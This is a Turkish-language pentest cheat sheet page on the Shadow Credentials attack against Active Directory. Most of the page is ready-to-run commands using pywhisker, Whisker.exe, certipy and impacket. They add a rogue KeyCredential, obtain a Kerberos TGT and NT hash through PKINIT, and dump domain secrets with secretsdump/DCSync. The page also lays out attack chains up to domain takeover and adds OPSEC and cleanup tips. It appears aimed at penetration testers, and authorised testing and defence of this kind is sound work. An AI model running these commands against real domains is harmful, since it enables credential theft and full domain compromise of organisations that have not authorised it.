Skip to content

Shadow Credentials

ATT&CK T1556 difficulty: orta

Shadow Credentials, bir kullanıcı/bilgisayar nesnesinin msDS-KeyCredentialLink özniteliğine yazma yetkiniz olduğunda çalışır. Nesneye kendi ürettiğiniz bir KeyCredential (sertifika/anahtar) eklersiniz; ardından PKINIT ile o hesap adına TGT alır ve NT hash’ini (getnthash / UnPAC-the-hash) elde edersiniz. Parola reset’e göre daha az kullanıcı etkisi (oturum düşmez) ve geri alınabilirdir.

- GenericAll / GenericWrite / WriteProperty (msDS-KeyCredentialLink) / AddKeyCredentialLink
- Domain Functional Level 2016+
- PKINIT / key trust (Whisker/pywhisker self-signed)
- Hedef hesap disabled değil

BloodHound: AddKeyCredentialLink, GenericWrite → User/Computer.

Shadow Creds · certipy

embedded tool
Generated command
certipy shadow auto -u attacker@domain.local -p Pass123 -account TARGET -dc-ip 10.10.10.5
  1. KeyCredential ekle :

    Terminal window
    pywhisker.py -d domain.local -u attacker -p 'Pass123' \
    --target 'TARGET$' --action add
    Terminal window
    certipy shadow auto -u attacker@domain.local -p 'Pass123' \
    -account 'TARGET$' -dc-ip 10.10.10.5
    Terminal window
    certipy shadow auto -u attacker@domain.local -hashes :NTHASH \
    -account 'Administrator' -dc-ip 10.10.10.5
    Terminal window
    Whisker.exe add /target:TARGET$ /domain:domain.local /dc:dc01
    Terminal window
    Whisker.exe list /target:TARGET$
    Terminal window
    Whisker.exe remove /target:TARGET$ /device:DeviceGUID
  2. PKINIT ile TGT + NT hash :

    Terminal window
    impacket-gettgtpkinit -cert-pfx TARGET.pfx -pfx-password '<pfxpass>' \
    domain.local/'TARGET$' target.ccache
    Terminal window
    impacket-getnthash -key <AS_REP_encryption_key_hex> domain.local/'TARGET$'
    Terminal window
    certipy auth -pfx TARGET.pfx -dc-ip 10.10.10.5
  3. Kullan — PtT veya PtH:

    Terminal window
    export KRB5CCNAME=target.ccache
    Terminal window
    impacket-secretsdump -k -no-pass domain.local/'TARGET$'@dc01.domain.local
HedefSonuç
User (ör. DA)O kullanıcının TGT/NT — domain admin session
WORKSTATION$Machine auth → RBCD/Silver benzeri; host adına Kerberos
DC$DCSync / domain takeover
Terminal window
certipy shadow auto -u attacker@domain.local -p Pass -account da_user
Aynı GenericWrite on Computer$:
Shadow → PKINIT → NT hash of MACHINE$ → getST / PtH / Silver
RBCD → yaz AllowedToAct → S4U impersonate Administrator → cifs shell
Shadow genelde daha az adım; PKINIT yoksa RBCD'ye düş.
□ Attribute’da ekstra KeyCredential kalır — iş bitince remove
□ PKINIT AS-REQ log’ları; parola change event’i yok
□ certipy shadow auto agresif; lab dışı adım adım
□ Birden fazla device GUID — list ile kontrol
□ DFL < 2016 → attribute yok
□ GenericWrite her zaman KeyCredentialLink yetmez — kenarı doğrula
□ PFX parola / path hatası
□ smartcard required garip etkileşim — PKINIT çoğu zaman çalışır
□ DNS / clock skew PKINIT fail
BloodHound AddKeyCredentialLink → DA user
→ certipy shadow auto
→ auth → NT hash
→ DCSync / PtH spray
GenericWrite on DC$ → shadow → DC$ NT → secretsdump
Terminal window
pywhisker.py -d domain.local -u attacker -p 'Pass' --target 'TARGET$' \
--action remove --device <DeviceGUID>
Terminal window
Whisker.exe remove /target:TARGET$ /device:DeviceGUID

RBCD · ACL Abuse · ADCS ESC1 · DCSync